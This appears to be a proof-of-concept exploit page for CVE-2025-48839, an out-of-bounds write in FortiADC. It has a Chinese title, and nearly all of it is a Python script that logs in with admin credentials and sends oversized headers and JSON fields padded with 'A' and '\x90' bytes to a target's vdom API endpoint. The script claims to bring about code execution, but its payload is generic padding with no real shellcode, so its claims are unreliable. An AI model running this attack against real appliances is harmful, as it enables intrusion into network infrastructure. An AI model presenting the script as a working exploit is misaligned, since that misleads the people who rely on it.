CVE-2025-48839 FortiADC越界写入漏洞

# CVE-2025-48839 PoC - FortiADC Out-of-bounds Write # This PoC demonstrates the vulnerability in FortiADC HTTP request parsing # Requires valid authentication credentials with high privileges import requests import sys TARGET_URL = "https://target-fortiadc.example.com/api/v2/cmdb/system/vdom" # Authentication credentials (requires high privilege account) AUTH = { "username": "admin", "password": "password" } def login(): """Authenticate to FortiADC and obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL.split('/api')[0]}/api/v2/login" try: response = session.post(login_url, json=AUTH, verify=False, timeout=10) if response.status_code == 200: return session else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def exploit_oob_write(session): """Send crafted HTTP request to trigger OOB write vulnerability""" # Craft malicious payload with oversized parameters # This triggers boundary check bypass in HTTP parser malicious_headers = { "Content-Type": "application/json", "X-Custom-Header": "A" * 10000 # Oversized header value } # Malicious payload designed to cause OOB write exploit_data = { "name": "vdom_test", "description": "A" * 8000 + "\x41\x42\x43\x44", # Trigger overflow "custom_param": { "nested": "X" * 5000 + "\x90" * 100 # Shellcode pattern } } try: print("[*] Sending exploit payload...") response = session.put(TARGET_URL, json=exploit_data, headers=malicious_headers, verify=False, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code in [200, 201]: print("[+] Exploit sent successfully - check for code execution") else: print("[-] Exploit may have failed or been blocked") except Exception as e: print(f"[-] Exploit error: {e}") def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-48839_poc.py <target_ip>") print("Example: python cve-2025-48839_poc.py 192.168.1.100") sys.exit(1) global TARGET_URL TARGET_URL = f"https://{sys.argv[1]}:443/api/v2/cmdb/system/vdom" print("[*] CVE-2025-48839 FortiADC OOB Write Exploit") print("[*] Target:", TARGET_URL) session = login() if session: exploit_oob_write(session) session.delete(f"{TARGET_URL.split('/api')[0]}/api/v2/logout") else: print("[-] Failed to obtain valid session") if __name__ == "__main__": main()